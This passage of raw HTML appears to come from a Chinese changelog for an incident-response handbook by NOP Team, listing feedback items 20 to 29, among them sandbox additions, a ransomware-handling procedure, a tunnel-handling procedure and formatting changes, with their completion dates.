leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">20.  完善沙箱部分</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0020</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善沙箱部分，添加一些沙箱地址</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:06</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">21.  添加进程暂停技巧</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0021</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加进程暂停技巧</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-18 00:22</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">后期可能会放到各个处置流程中去</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">22.  修复非持续事件部分文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0022</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">0x02 修改域名解析记录章节中括号内 内存 -&gt; 内网</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:04</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">23.  非持续事件处置流程添加常规安全检查阶段</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0023</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">非持续事件处置流程添加常规安全检查阶段</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-18 00:13</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">24.  改变更新日记的格式</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0024</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 19:42</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">更新日记的格式太占空间了，往期更新日记只记录版本号和日期，本次更新日记详细展示</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 20:11</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">25.  改变PDF封面照片</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0025</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 19:42</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">改变为和 Windows 版本一致</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修改</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-01 22:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">26.  改变简介部分描述</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0026</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 19:42</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">改变为和 Windows 版本一致</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修改</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 20:11</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">27.  删除事件预警来源章节</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0027</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 20:11</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">删除事件预警来源章节</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已删除</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:45</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">28.  完善勒索病毒处置流程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0028</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善勒索病毒处置流程</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:56</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">29.  添加隧道处置流程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 